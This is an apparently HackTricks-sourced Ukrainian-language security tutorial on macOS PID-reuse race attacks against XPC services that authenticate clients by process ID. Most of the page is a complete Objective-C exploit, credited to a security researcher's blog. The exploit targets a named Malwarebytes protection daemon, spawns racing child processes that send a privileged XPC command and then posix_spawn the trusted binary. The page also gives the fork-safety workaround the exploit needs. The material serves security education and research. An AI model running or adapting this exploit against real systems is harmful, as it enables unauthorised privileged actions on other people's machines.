macOS PID Reuse

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

PID Reuse

Коли XPC service macOS перевіряє викликаний процес на основі PID, а не на основі audit token, він вразливий до атаки повторного використання PID. Ця атака базується на умовах гонки, де експлойт буде надсилати повідомлення до XPC служби, зловживаючи функціональністю, а лише після цього виконуючи posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) з дозволеним бінарним файлом.

Ця функція змусить дозволений бінарний файл отримати PID, але зловмисне XPC повідомлення буде надіслано безпосередньо перед цим. Отже, якщо XPC служба використовує PID для автентифікації відправника і перевіряє його ПІСЛЯ виконання posix_spawn, вона подумає, що воно походить від авторизованого процесу.

Приклад експлойту

Якщо ви знайдете функцію shouldAcceptNewConnection або функцію, яку вона викликає, яка викликає processIdentifier і не викликає auditToken. Це, ймовірно, означає, що вона перевіряє PID процесу, а не токен аудиту.
Як, наприклад, на цьому зображенні (взято з посилання):

https://wojciechregula.blog/images/2020/04/pid.png

Перевірте цей приклад експлойту (знову ж таки, взятий з посилання), щоб побачити 2 частини експлойту:

  • Одна, яка генерує кілька форків
  • Кожен форк буде надсилати payload до XPC служби, виконуючи posix_spawn безпосередньо після надсилання повідомлення.

caution

Для того, щоб експлойт працював, важливо export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES або вставити всередину експлойту:

asm(".section __DATA,__objc_fork_ok\n" "empty:\n" ".no_dead_strip empty\n");

Перша опція, що використовує NSTasks та аргумент для запуску дітей для експлуатації RC

objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ // gcc -framework Foundation expl.m -o expl #import <Foundation/Foundation.h> #include <spawn.h> #include <sys/stat.h> #define RACE_COUNT 32 #define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon" #define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon" // allow fork() between exec() asm(".section __DATA,__objc_fork_ok\n" "empty:\n" ".no_dead_strip empty\n"); extern char **environ; // defining necessary protocols @protocol ProtectionService - (void)startDatabaseUpdate; - (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1; - (void)uninstallProduct; - (void)installProductUpdate; - (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2; - (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1; - (void)triggerLicenseRelatedChecks; - (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2; - (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2; - (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2; - (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2; - (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3; - (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2; - (void)restartOS; - (void)resumeScanJob; - (void)pauseScanJob; - (void)stopScanJob; - (void)startScanJob; - (void)disposeOperationBy:(NSUUID *)arg1; - (void)subscribeTo:(long long)arg1; - (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2; @end void child() { // send the XPC messages NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)]; NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged]; xpcConnection.remoteObjectInterface = remoteInterface; [xpcConnection resume]; [xpcConnection.remoteObjectProxy restartOS]; char target_binary[] = BINARY; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); } bool create_nstasks() { NSString *exec = [[NSBundle mainBundle] executablePath]; NSTask *processes[RACE_COUNT]; for (int i = 0; i < RACE_COUNT; i++) { processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]]; } int i = 0; struct timespec ts = { .tv_sec = 0, .tv_nsec = 500 * 1000000, }; nanosleep(&ts, NULL); if (++i > 4) { for (int i = 0; i < RACE_COUNT; i++) { [processes[i] terminate]; } return false; } return true; } int main(int argc, const char * argv[]) { if(argc > 1) { // called from the NSTasks child(); } else { NSLog(@"Starting the race"); create_nstasks(); } return 0; }

Інші приклади

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks